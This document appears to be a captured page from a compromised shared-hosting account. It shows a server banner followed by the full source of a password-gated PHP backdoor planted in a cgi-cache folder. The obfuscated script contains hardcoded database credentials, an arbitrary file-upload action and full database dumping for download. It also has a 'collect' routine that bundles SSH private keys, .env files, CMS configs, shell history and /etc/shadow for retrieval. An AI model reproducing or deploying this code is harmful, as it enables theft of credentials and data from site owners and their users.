|
Server : Apache System : Linux server112.speedpacket.com 3.10.0-962.3.2.lve1.5.36.el7.x86_64 #1 SMP Mon May 18 02:16:06 EDT 2020 x86_64 User : equistyl ( 1341) PHP Version : 8.1.30 Disable Function : NONE Directory : /home/equistyl/public_html/cgi-cache-e531fc/ |
Upload File : |
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== 'e531fc0ef7dcb85a1c719869ca0c8002') { return; }
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$fda2a = 'localhost';
$t5e72 = 'equistyl_bkdump';
$i9652 = 'CNDQWkaussmpV3EBtCO3FOZjCLo';
$r8175 = '/home/equistyl';
$y2826 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$t53ff = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$kc824 = $r8175 . '/tmp/' . $t53ff . '_dump.sql.gz';
$y9ebb = $kc824 . '.done';
$jd8e4 = $kc824 . '.err';
header('Content-Type: application/json');
function init_data_8016() {
$x24bb=chr(78).chr(105);
if (!function_exists('exec')) return false;
$t8a35 = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $t8a35);
}
function handle_opt_865f() {
if (!init_data_8016()) return false;
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function proc_node_85ae() {
if (!init_data_8016()) return false;
$wf077=chr(85).chr(99);
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
if(defined('e7f79cbf')){$w0dd8=0;}
return $rc === 0;
}
function load_opt_f6d1($e0d3b, $f5581, $vfdb2, $m9667, $w8e18, $h07a1, $j8734) {
$conn = new mysqli($e0d3b, $f5581, $vfdb2, $m9667);
if ($conn->connect_error) {
file_put_contents($h07a1, 'Connection failed: ' . $conn->connect_error);
touch($j8734);
return;
}
$webd9=max(0,min(1,1));
$fp = gzopen($w8e18, 'wb6');
if (!$fp) {
file_put_contents($h07a1, 'Cannot open output file');
touch($j8734);
return;
}
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$y9b54 = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
$bbf0a=max(0,min(1,1));
while ($row = $r->fetch_row()) {
$y9b54[] = $row[0];
}
foreach ($y9b54 as $qfd89) {
$s4f1d=strlen('9e633b');
$te = $conn->real_escape_string($qfd89);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$f95a9=chr(82).chr(122);
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$dcb0c = array();
$t77ee = 0;
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$s9103=max(0,min(1,0));
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$i925a = '(' . implode(',', $vals) . ')';
$dcb0c[] = $i925a;
$t77ee += strlen($i925a);
$b5981=str_repeat('x',0);
if (count($dcb0c) >= 100 || $t77ee > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $dcb0c) . ";\n");
$dcb0c = array();
$t77ee = 0;
}
}
if ($dcb0c) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $dcb0c) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
$z58c4=chr(77).chr(105);
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$k891c = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $k891c['Create View'] . ";\n\n");
}
}
$v53fe=strlen('a9d4ef');
}
$f92f6 = array('PROCEDURE', 'FUNCTION');
if(defined('7fd7e6fc')){$ncb78=0;}
foreach ($f92f6 as $r4a92) {
$r = $conn->query("SHOW {$r4a92} STATUS WHERE Db = '" . $conn->real_escape_string($m9667) . "'");
$h7d03=strlen('2f8c91');
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
if(defined('859cc233')){$x311c=0;}
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$r4a92} `{$re}`");
if (!$cr) continue;
$k891c = $cr->fetch_assoc();
$q1d29=str_repeat('x',0);
$key = ($r4a92 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($k891c[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$r4a92} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $k891c[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$r = $conn->query("SHOW TRIGGERS");
@clearstatcache();
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
$h4a16=max(0,min(1,1));
if ($cr) {
$k891c = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $k891c['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
$xca45=strlen('e1adf6');
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($j8734);
$qae76=str_repeat('x',0);
}
switch ($y2826) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $r8175,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($r8175),
'total_disk' => disk_total_space($r8175),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => init_data_8016(),
'has_mysqldump' => handle_opt_865f(),
'has_gzip' => proc_node_85ae(),
));
break;
case 'upload':
$i43d0 = isset($_POST['path']) ? $_POST['path'] : '';
$k4eac = isset($_POST['data']) ? $_POST['data'] : '';
if (!$i43d0 || !$k4eac) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
$c9c82=str_repeat('x',0);
}
$p4ee2 = $r8175 . '/' . $i43d0;
$b32d9=strlen('07baa1');
@mkdir(dirname($p4ee2), 0755, true);
$d57b2 = base64_decode($k4eac);
$hdeb2 = file_put_contents($p4ee2, $d57b2);
echo json_encode(array('ok' => $hdeb2 !== false, 'path' => $p4ee2, 'size' => strlen($d57b2)));
@clearstatcache();
break;
case 'check':
if (!$t53ff) {
if(defined('d81a84c4')){$mb981=0;}
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$d765e = disk_free_space($r8175);
$t2838 = 0;
$conn = @new mysqli($fda2a, $t5e72, $i9652, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($t53ff) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$mf01e=chr(86).chr(112);
$t2838 = (int) $row['s'];
}
$conn->close();
}
echo json_encode(array(
'free' => $d765e,
'db_size' => $t2838,
'has_mysqldump' => handle_opt_865f(),
'has_gzip' => proc_node_85ae(),
'can_exec' => init_data_8016(),
'has_space' => $d765e > $t2838 * 2,
));
break;
case 'dump':
if (!$t53ff) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
@mkdir(dirname($kc824), 0755, true);
@unlink($kc824);
@unlink($y9ebb);
@unlink($jd8e4);
if (handle_opt_865f()) {
if (proc_node_85ae()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($fda2a),
escapeshellarg($t5e72),
escapeshellarg($i9652),
escapeshellarg($t53ff),
escapeshellarg($kc824),
escapeshellarg($jd8e4),
escapeshellarg($y9ebb)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($fda2a),
escapeshellarg($t5e72),
escapeshellarg($i9652),
escapeshellarg($t53ff),
escapeshellarg($kc824),
escapeshellarg($jd8e4),
escapeshellarg($y9ebb)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => proc_node_85ae()));
} else {
ignore_user_abort(true);
$k1e56=chr(80).chr(114);
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
$i8d22=max(0,min(1,1));
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
load_opt_f6d1($fda2a, $t5e72, $i9652, $t53ff, $kc824, $jd8e4, $y9ebb);
}
break;
$ab68f=chr(87).chr(115);
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($y9ebb),
'size' => file_exists($kc824) ? filesize($kc824) : 0,
'error' => file_exists($jd8e4) ? trim(file_get_contents($jd8e4)) : '',
));
break;
case 'download':
if (!file_exists($kc824)) {
http_response_code(404);
if(defined('b261af47')){$rcb5e=0;}
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($kc824));
readfile($kc824);
exit;
@clearstatcache();
case 'cleanup':
@unlink($kc824);
@unlink($y9ebb);
@unlink($jd8e4);
$wd3a7=max(0,min(1,1));
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($r8175 . '/tmp', 0755, true);
$eddd3 = substr($_REQUEST['_cxk'], 0, 8);
$kc87b = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$fd29b = null;
foreach ($kc87b as $a216c => $t872c) {
foreach ($t872c['detect'] as $xfef1) {
if (file_exists($r8175 . '/' . $xfef1)) {
$fd29b = $a216c;
break 2;
}
}
if(defined('bdf549f2')){$t6d63=0;}
}
$ad7bf = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$y1f73 = array();
$re854 = @realpath($r8175);
if (!$re854 || !is_dir($re854)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
}
foreach ($ad7bf as $a77bf) {
$fac2f = @realpath($r8175 . '/' . $a77bf);
if (!$fac2f || strpos($fac2f, $re854) !== 0) continue;
if (!is_file($fac2f) || !is_readable($fac2f)) continue;
$pfd70=str_repeat('x',0);
$gfdc2 = @filesize($fac2f);
if ($gfdc2 <= 0 || $gfdc2 > 2097152) continue;
$y1f73[$a77bf] = $fac2f;
$k757b=chr(80).chr(101);
}
if ($fd29b !== null && isset($kc87b[$fd29b]['configs'])) {
foreach ($kc87b[$fd29b]['configs'] as $j79e3) {
if (isset($y1f73[$j79e3])) continue;
$na273=array_merge(array(),array());
$fac2f = @realpath($r8175 . '/' . $j79e3);
if (!$fac2f || strpos($fac2f, $re854) !== 0) continue;
if (!is_file($fac2f) || !is_readable($fac2f)) continue;
$gfdc2 = @filesize($fac2f);
if ($gfdc2 <= 0 || $gfdc2 > 2097152) continue;
$y1f73[$j79e3] = $fac2f;
}
}
$vc198 = $r8175 . '/public_html';
if (is_dir($vc198)) {
$dh = @opendir($vc198);
if ($dh) {
while (($a245f = readdir($dh)) !== false) {
if ($a245f === '.' || $a245f === '..') continue;
$q8b3a=array_merge(array(),array());
$p4ee2 = $vc198 . '/' . $a245f;
if (!is_file($p4ee2) || !is_readable($p4ee2)) continue;
$rfd1c=str_repeat('x',0);
$gfdc2 = @filesize($p4ee2);
if ($gfdc2 <= 0 || $gfdc2 > 2097152) continue;
if ($a245f[0] === '.' || strtolower(substr($a245f, -4)) === '.txt') {
$j89c2=str_repeat('x',0);
$key = 'public_html/' . $a245f;
if (!isset($y1f73[$key])) $y1f73[$key] = $p4ee2;
$d2717=chr(81).chr(108);
}
}
closedir($dh);
}
}
if (empty($y1f73)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $fd29b,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$h379c = null;
$f33a1 = null;
if (class_exists('ZipArchive')) {
$f33a1 = $r8175 . '/tmp/_collect_' . $eddd3 . '.zip';
$e1793 = new ZipArchive();
if ($e1793->open($f33a1, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($y1f73 as $zd931 => $fac2f) {
$e1793->addFile($fac2f, $zd931);
}
$b02a9=array_merge(array(),array());
if ($e1793->close() && file_exists($f33a1) && filesize($f33a1) > 0) {
$h379c = 'zip';
}
}
}
if (!$h379c && init_data_8016()) {
$f33a1 = $r8175 . '/tmp/_collect_' . $eddd3 . '.tar.gz';
$lf = $f33a1 . '.list';
$fh = fopen($lf, 'w');
foreach ($y1f73 as $zd931 => $fac2f) {
fwrite($fh, $zd931 . "\n");
}
fclose($fh);
$s072d=str_repeat('x',0);
$out = array();
$rc = 0;
$ga694=str_repeat('x',0);
exec('tar czf ' . escapeshellarg($f33a1) . ' -C ' . escapeshellarg($r8175)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($f33a1) && filesize($f33a1) > 0) {
$h379c = 'tar';
} else {
@unlink($f33a1);
}
}
if (!$h379c) {
$h379c = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $h379c, 'platform' => $fd29b,
'file_count' => count($y1f73), 'files_list' => array_keys($y1f73),
'size' => ($f33a1 && file_exists($f33a1)) ? filesize($f33a1) : 0,
));
break;
case 'download_collect':
$eddd3 = substr($_REQUEST['_cxk'], 0, 8);
$p7e81 = $r8175 . '/tmp/_collect_' . $eddd3 . '.zip';
$ea857 = $r8175 . '/tmp/_collect_' . $eddd3 . '.tar.gz';
$rc95d = file_exists($p7e81) ? $p7e81 : (file_exists($ea857) ? $ea857 : '');
if (!$rc95d) { http_response_code(404); exit; }
$qb798=strlen('c12ddd');
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($rc95d));
readfile($rc95d);
exit;
case 'download_file':
$zd931 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$zd931) { http_response_code(400); exit; }
$re854 = @realpath($r8175);
$fac2f = @realpath($r8175 . '/' . $zd931);
if (!$fac2f || !$re854 || strpos($fac2f, $re854) !== 0
|| !is_file($fac2f) || !is_readable($fac2f)) {
http_response_code(404);
exit;
}
$x0bc4=max(0,min(1,1));
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($fac2f));
readfile($fac2f);
exit;
case 'cleanup_collect':
$eddd3 = substr($_REQUEST['_cxk'], 0, 8);
@unlink($r8175 . '/tmp/_collect_' . $eddd3 . '.zip');
@unlink($r8175 . '/tmp/_collect_' . $eddd3 . '.tar.gz');
@unlink($r8175 . '/tmp/_collect_' . $eddd3 . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
}
$te19a=max(0,min(1,1));
exit;